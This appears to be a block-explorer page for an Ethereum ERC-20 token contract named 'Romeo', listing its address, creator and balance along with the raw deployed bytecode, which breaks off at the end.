Address Contract Partially Verified
Address
0x46ECf363094E5c89551010ce577dbd62Fa8e2a38
Balance
0 ETH
Nonce
1
Code Size
16926 bytes
Creator
0x24E48243...1c7b at tx 0xecfe8ad7...f702dc
Indexed Transactions
0
Contract Bytecode
16926 bytes
0x608060405260043610610184575f3560e01c80636fc3eaec116100d05780638f9a55c011610089578063bf474bed11610063578063bf474bed1461052b578063c9567bf914610555578063dd62ed3e1461056b578063ec1f3f63146105a75761018b565b80638f9a55c01461049b57806395d89b41146104c5578063a9059cbb146104ef5761018b565b80636fc3eaec146103b757806370a08231146103cd578063715018a6146104095780637d1db4a51461041f5780638cd4426d146104495780638da5cb5b146104715761018b565b806318160ddd1161013d5780633bbac579116101175780633bbac579146103155780634c8afff41461035157806351bc3c851461037957806356ec63a51461038f5761018b565b806318160ddd1461028557806323b872dd146102af578063313ce567146102eb5761018b565b806306fdde031461018f578063095ea7b3146101b95780630bed3671146101f55780630faee56f1461021d578063109daa991461024757806317090ec81461025d5761018b565b3661018b57005b5f80fd5b34801561019a575f80fd5b506101a36105cf565b6040516101b09190612fa1565b60405180910390f35b3480156101c4575f80fd5b506101df60048036038101906101da9190613052565b61060c565b6040516101ec91906130aa565b60405180910390f35b348015610200575f80fd5b5061021b600480360381019061021691906130c3565b610629565b005b348015610228575f80fd5b50610231610699565b60405161023e91906130fd565b60405180910390f35b348015610252575f80fd5b5061025b61069f565b005b348015610268575f80fd5b50610283600480360381019061027e9190613140565b610773565b005b348015610290575f80fd5b5061029961096f565b6040516102a691906130fd565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d0919061316b565b610993565b6040516102e291906130aa565b60405180910390f35b3480156102f6575f80fd5b506102ff610a67565b60405161030c91906131d6565b60405180910390f35b348015610320575f80fd5b5061033b600480360381019061033691906131ef565b610a6f565b60405161034891906130aa565b60405180910390f35b34801561035c575f80fd5b50610377600480360381019061037291906131ef565b610ac1565b005b348015610384575f80fd5b5061038d610bac565b005b34801561039a575f80fd5b506103b560048036038101906103b091906131ef565b610c43565b005b3480156103c2575f80fd5b506103cb610d2f565b005b3480156103d8575f80fd5b506103f360048036038101906103ee91906131ef565b610d9e565b60405161040091906130fd565b60405180910390f35b348015610414575f80fd5b5061041d610de4565b005b34801561042a575f80fd5b50610433610f32565b60405161044091906130fd565b60405180910390f35b348015610454575f80fd5b5061046f600480360381019061046a9190613052565b610f38565b005b34801561047c575f80fd5b506104856110d9565b6040516104929190613229565b60405180910390f35b3480156104a6575f80fd5b506104af611100565b6040516104bc91906130fd565b60405180910390f35b3480156104d0575f80fd5b506104d9611106565b6040516104e69190612fa1565b60405180910390f35b3480156104fa575f80fd5b5061051560048036038101906105109190613052565b611143565b60405161052291906130aa565b60405180910390f35b348015610536575f80fd5b5061053f611160565b60405161054c91906130fd565b60405180910390f35b348015610560575f80fd5b50610569611166565b005b348015610576575f80fd5b50610591600480360381019061058c9190613242565b6118bf565b60405161059e91906130fd565b60405180910390f35b3480156105b2575f80fd5b506105cd60048036038101906105c891906130c3565b611941565b005b60606040518060400160405280600581526020017f526f6d656f000000000000000000000000000000000000000000000000000000815250905090565b5f61061f6106186119cd565b84846119d4565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106696119cd565b73ffffffffffffffffffffffffffffffffffffffff1614610688575f80fd5b806012819055508060138190555050565b60135481565b6106a76119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132ca565b60405180910390fd5b5f600e819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f604051610769919061332a565b60405180910390a1565b61077b6119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fe906132ca565b60405180910390fd5b8015610874575f606460056009600a610820919061349f565b6461f313f88061083091906134e9565b61083a91906134e9565b6108449190613557565b905061087260065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff163083611b97565b505b6064604660125461088591906134e9565b61088f9190613557565b601281905550606460466013546108a691906134e9565b6108b09190613557565b6013819055506009600a6108c4919061349f565b6461f313f8806108d491906134e9565b6010819055506009600a6108e8919061349f565b6461f313f8806108f891906134e9565b6011819055505f601560176101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610947919061349f565b6461f313f88061095791906134e9565b60405161096491906130fd565b60405180910390a150565b5f6009600a61097e919061349f565b6461f313f88061098e91906134e9565b905090565b5f61099f848484611b97565b610a5c846109ab6119cd565b610a57856040518060600160405280602881526020016141c16028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a0e6119cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129639092919063ffffffff16565b6119d4565b600190509392505050565b5f6009905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610ac96119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4c906132ca565b60405180910390fd5b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bec6119cd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0b575f80fd5b5f610c1530610d9e565b90505f811115610c2957610c28816129c5565b5b5f4790505f811115610c3f57610c3e81612c2e565b5b5050565b610c4b6119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce906132ca565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d6f6119cd565b73ffffffffffffffffffffffffffffffffffffffff1614610d8e575f80fd5b5f479050610d9b81612c2e565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610dec6119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6f906132ca565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60105481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f786119cd565b73ffffffffffffffffffffffffffffffffffffffff1614610f97575f80fd5b5f6110356064611027848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610fda9190613229565b602060405180830381865afa158015610ff5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611019919061359b565b612c9690919063ffffffff16565b612d0d90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611093929190613618565b6020604051808303815f875af11580156110af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110d39190613653565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600581526020017f524f4d454f000000000000000000000000000000000000000000000000000000815250905090565b5f61115661114f6119cd565b8484611b97565b6001905092915050565b60125481565b61116e6119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906132ca565b60405180910390fd5b601560149054906101000a900460ff161561124a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611241906136c8565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611309573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132d91906136fa565b90505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561139a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113be91906136fa565b90505f6113cc833084612d56565b90505f813b90505f8103611499578373ffffffffffffffffffffffffffffffffffffffff1663c9c6539630856040518363ffffffff1660e01b8152600401611415929190613725565b6020604051808303815f875af1158015611431573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061145591906136fa565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611689565b8160155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6064605e3073ffffffffffffffffffffffffffffffffffffffff166370a0823160155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016115389190613229565b602060405180830381865afa158015611553573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611577919061359b565b61158191906134e9565b61158b9190613557565b90505f8473ffffffffffffffffffffffffffffffffffffffff166370a0823160155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016115e89190613229565b602060405180830381865afa158015611603573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611627919061359b565b9050670de0b6b3a7640000821080156116475750670de0b6b3a764000081105b611686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167d90613796565b60405180910390fd5b50505b6116d23060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6116bd919061349f565b6461f313f8806116cd91906134e9565b6119d4565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061171a30610d9e565b5f806117246110d9565b426040518863ffffffff1660e01b8152600401611746969594939291906137b4565b60606040518083038185885af1158015611762573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906117879190613813565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611827929190613863565b6020604051808303815f875af1158015611843573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118679190613653565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff0219169083151502179055506001601560176101000a81548160ff02191690831515021790555050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119816119cd565b73ffffffffffffffffffffffffffffffffffffffff16146119a0575f80fd5b60095481111580156119b45750600a548111155b6119bc575f80fd5b8060098190555080600a8190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a39906138fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa790613988565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b8a91906130fd565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfc90613a16565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6a90613aa4565b60405180910390fd5b5f8111611cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cac90613b32565b60405180910390fd5b5f611cbe6110d9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d2c5750611cfc6110d9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156126b35760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611dcf575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e22575060045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611e2a575f80fd5b601560179054906101000a900460ff1615611ff057611e476110d9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ecf575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f28575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fef574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa390613be6565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b5f600f5403612038576120356064612027600b54600f541161201457600754612018565b6009545b85612c9690919063ffffffff16565b612d0d90919063ffffffff16565b90505b5f600f54111561206d5761206a606461205c600e5485612c9690919063ffffffff16565b612d0d90919063ffffffff16565b90505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612116575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612169575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612261576010548211156121b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121aa90613c4e565b60405180910390fd5b601154826121c085610d9e565b6121ca9190613c6c565b111561220b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220290613ce9565b60405180910390fd5b6122476064612239600b54600f54116122265760075461222a565b6009545b85612c9690919063ffffffff16565b612d0d90919063ffffffff16565b9050600f5f81548092919061225b90613d07565b91905055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122e957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561232d5761232a606461231c600c54600f54116123095760085461230d565b600a545b85612c9690919063ffffffff16565b612d0d90919063ffffffff16565b90505b5f61233730610d9e565b905060158054906101000a900460ff161580156123a0575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156123b85750601560169054906101000a900460ff165b80156123c5575060125481115b80156123d45750600d54600f54115b156126b1575f61241d6009600a6123eb919061349f565b6461f313f8806123fb91906134e9565b61240f606485612c9690919063ffffffff16565b612d0d90919063ffffffff16565b9050600281101561247b577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6012819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff601381905550612606565b60068110156125035761271060196009600a612497919061349f565b6461f313f8806124a791906134e9565b6124b191906134e9565b6124bb9190613557565b60128190555061271060196009600a6124d4919061349f565b6461f313f8806124e491906134e9565b6124ee91906134e9565b6124f89190613557565b601381905550612605565b600b81101561258b576103e860056009600a61251f919061349f565b6461f313f88061252f91906134e9565b61253991906134e9565b6125439190613557565b6012819055506103e860056009600a61255c919061349f565b6461f313f88061256c91906134e9565b61257691906134e9565b6125809190613557565b601381905550612604565b606460016009600a61259d919061349f565b6461f313f8806125ad91906134e9565b6125b791906134e9565b6125c19190613557565b601281905550606460016009600a6125d9919061349f565b6461f313f8806125e991906134e9565b6125f391906134e9565b6125fd9190613557565b6013819055505b5b5b601754431115612618575f6016819055505b60036016541061265d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265490613d98565b60405180910390fd5b61267a6126758561267085601354612df8565b612df8565b6129c5565b5f4790505f8111156126905761268f81612c2e565b5b60165f8154809291906126a290613d07565b91905055504360178190555050505b505b5f8111156127b25761270b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e1090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127a991906130fd565b60405180910390a35b6128028260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e6d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128a56128598284612e6d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e1090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6129488486612e6d90919063ffffffff16565b60405161295591906130fd565b60405180910390a350505050565b5f8383111582906129aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a19190612fa1565b60405180910390fd5b505f83856129b89190613db6565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156129fb576129fa613de9565b5b604051908082528060200260200182016040528015612a295781602001602082028036833780820191505090505b50905030815f81518110612a4057612a3f613e16565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612ae4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612b0891906136fa565b81600181518110612b1c57612b1b613e16565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b823060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119d4565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612be4959493929190613efa565b5f604051808303815f87803b158015612bfb575f80fd5b505af1158015612c0d573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612c92573d5f803e3d5ffd5b5050565b5f808303612ca6575f9050612d07565b5f8284612cb391906134e9565b9050828482612cc29190613557565b14612d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf990613fc2565b60405180910390fd5b809150505b92915050565b5f612d4e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612eb6565b905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610612d93578385612d96565b84845b91509150858282604051602001612dae929190614025565b60405160208183030381529060405280519060200120604051602001612dd5929190614117565b604051602081830303815290604052805190602001205f1c925050509392505050565b5f818311612e065782612e08565b815b905092915050565b5f808284612e1e9190613c6c565b905083811015612e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5a906141a2565b60405180910390fd5b8091505092915050565b5f612eae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612963565b905092915050565b5f8083118290612efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ef39190612fa1565b60405180910390fd5b505f8385612f0a9190613557565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f4e578082015181840152602081019050612f33565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612f7382612f17565b612f7d8185612f21565b9350612f8d818560208601612f31565b612f9681612f59565b840191505092915050565b5f6020820190508181035f830152612fb98184612f69565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612fee82612fc5565b9050919050565b612ffe81612fe4565b8114613008575f80fd5b50565b5f8135905061301981612ff5565b92915050565b5f819050919050565b6130318161301f565b811461303b575f80fd5b50565b5f8135905061304c81613028565b92915050565b5f806040838503121561306857613067612fc1565b5b5f6130758582860161300b565b92505060206130868582860161303e565b9150509250929050565b5f8115159050919050565b6130a481613090565b82525050565b5f6020820190506130bd5f83018461309b565b92915050565b5f602082840312156130d8576130d7612fc1565b5b5f6130e58482850161303e565b91505092915050565b6130f78161301f565b82525050565b5f6020820190506131105f8301846130ee565b92915050565b61311f81613090565b8114613129575f80fd5b50565b5f8135905061313a81613116565b92915050565b5f6020828403121561315557613154612fc1565b5b5f6131628482850161312c565b91505092915050565b5f805f6060848603121561318257613181612fc1565b5b5f61318f8682870161300b565b93505060206131a08682870161300b565b92505060406131b18682870161303e565b9150509250925092565b5f60ff82169050919050565b6131d0816131bb565b82525050565b5f6020820190506131e95f8301846131c7565b92915050565b5f6020828403121561320457613203612fc1565b5b5f6132118482850161300b565b91505092915050565b61322381612fe4565b82525050565b5f60208201905061323c5f83018461321a565b92915050565b5f806040838503121561325857613257612fc1565b5b5f6132658582860161300b565b92505060206132768582860161300b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6132b4602083612f21565b91506132bf82613280565b602082019050919050565b5f6020820190508181035f8301526132e1816132a8565b9050919050565b5f819050919050565b5f819050919050565b5f61331461330f61330a846132e8565b6132f1565b61301f565b9050919050565b613324816132fa565b82525050565b5f60208201905061333d5f83018461331b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156133c5578086048111156133a1576133a0613343565b5b60018516156133b05780820291505b80810290506133be85613370565b9450613385565b94509492505050565b5f826133dd5760019050613498565b816133ea575f9050613498565b8160018114613400576002811461340a57613439565b6001915050613498565b60ff84111561341c5761341b613343565b5b8360020a91508482111561343357613432613343565b5b50613498565b5060208310610133831016604e8410600b841016171561346e5782820a90508381111561346957613468613343565b5b613498565b61347b848484600161337c565b9250905081840481111561349257613491613343565b5b81810290505b9392505050565b5f6134a98261301f565b91506134b4836131bb565b92506134e17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846133ce565b905092915050565b5f6134f38261301f565b91506134fe8361301f565b925082820261350c8161301f565b9150828204841483151761352357613522613343565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6135618261301f565b915061356c8361301f565b92508261357c5761357b61352a565b5b828204905092915050565b5f8151905061359581613028565b92915050565b5f602082840312156135b0576135af612fc1565b5b5f6135bd84828501613587565b91505092915050565b5f6135e06135db6135d684612fc5565b6132f1565b612fc5565b9050919050565b5f6135f1826135c6565b9050919050565b5f613602826135e7565b9050919050565b613612816135f8565b82525050565b5f60408201905061362b5f830185613609565b61363860208301846130ee565b9392505050565b5f8151905061364d81613116565b92915050565b5f6020828403121561366857613667612fc1565b5b5f6136758482850161363f565b91505092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6136b2601783612f21565b91506136bd8261367e565b602082019050919050565b5f6020820190508181035f8301526136df816136a6565b9050919050565b5f815190506136f481612ff5565b92915050565b5f6020828403121561370f5761370e612fc1565b5b5f61371c848285016136e6565b91505092915050565b5f6040820190506137385f83018561321a565b613745602083018461321a565b9392505050565b7f5061697220616c72656164792066756e646564000000000000000000000000005f82015250565b5f613780601383612f21565b915061378b8261374c565b602082019050919050565b5f6020820190508181035f8301526137ad81613774565b9050919050565b5f60c0820190506137c75f83018961321a565b6137d460208301886130ee565b6137e1604083018761331b565b6137ee606083018661331b565b6137fb608083018561321a565b61380860a08301846130ee565b979650505050505050565b5f805f6060848603121561382a57613829612fc1565b5b5f61383786828701613587565b935050602061384886828701613587565b925050604061385986828701613587565b9150509250925092565b5f6040820190506138765f83018561321a565b61388360208301846130ee565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6138e4602483612f21565b91506138ef8261388a565b604082019050919050565b5f6020820190508181035f830152613911816138d8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613972602283612f21565b915061397d82613918565b604082019050919050565b5f6020820190508181035f83015261399f81613966565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613a00602583612f21565b9150613a0b826139a6565b604082019050919050565b5f6020820190508181035f830152613a2d816139f4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613a8e602383612f21565b9150613a9982613a34565b604082019050919050565b5f6020820190508181035f830152613abb81613a82565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613b1c602983612f21565b9150613b2782613ac2565b604082019050919050565b5f6020820190508181035f830152613b4981613b10565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f613bd0604983612f21565b9150613bdb82613b50565b606082019050919050565b5f6020820190508181035f830152613bfd81613bc4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f613c38601983612f21565b9150613c4382613c04565b602082019050919050565b5f6020820190508181035f830152613c6581613c2c565b9050919050565b5f613c768261301f565b9150613c818361301f565b9250828201905080821115613c9957613c98613343565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613cd3601a83612f21565b9150613cde82613c9f565b602082019050919050565b5f6020820190508181035f830152613d0081613cc7565b9050919050565b5f613d118261301f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d4357613d42613343565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f613d82601783612f21565b9150613d8d82613d4e565b602082019050919050565b5f6020820190508181035f830152613daf81613d76565b9050919050565b5f613dc08261301f565b9150613dcb8361301f565b9250828203905081811115613de357613de2613343565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245f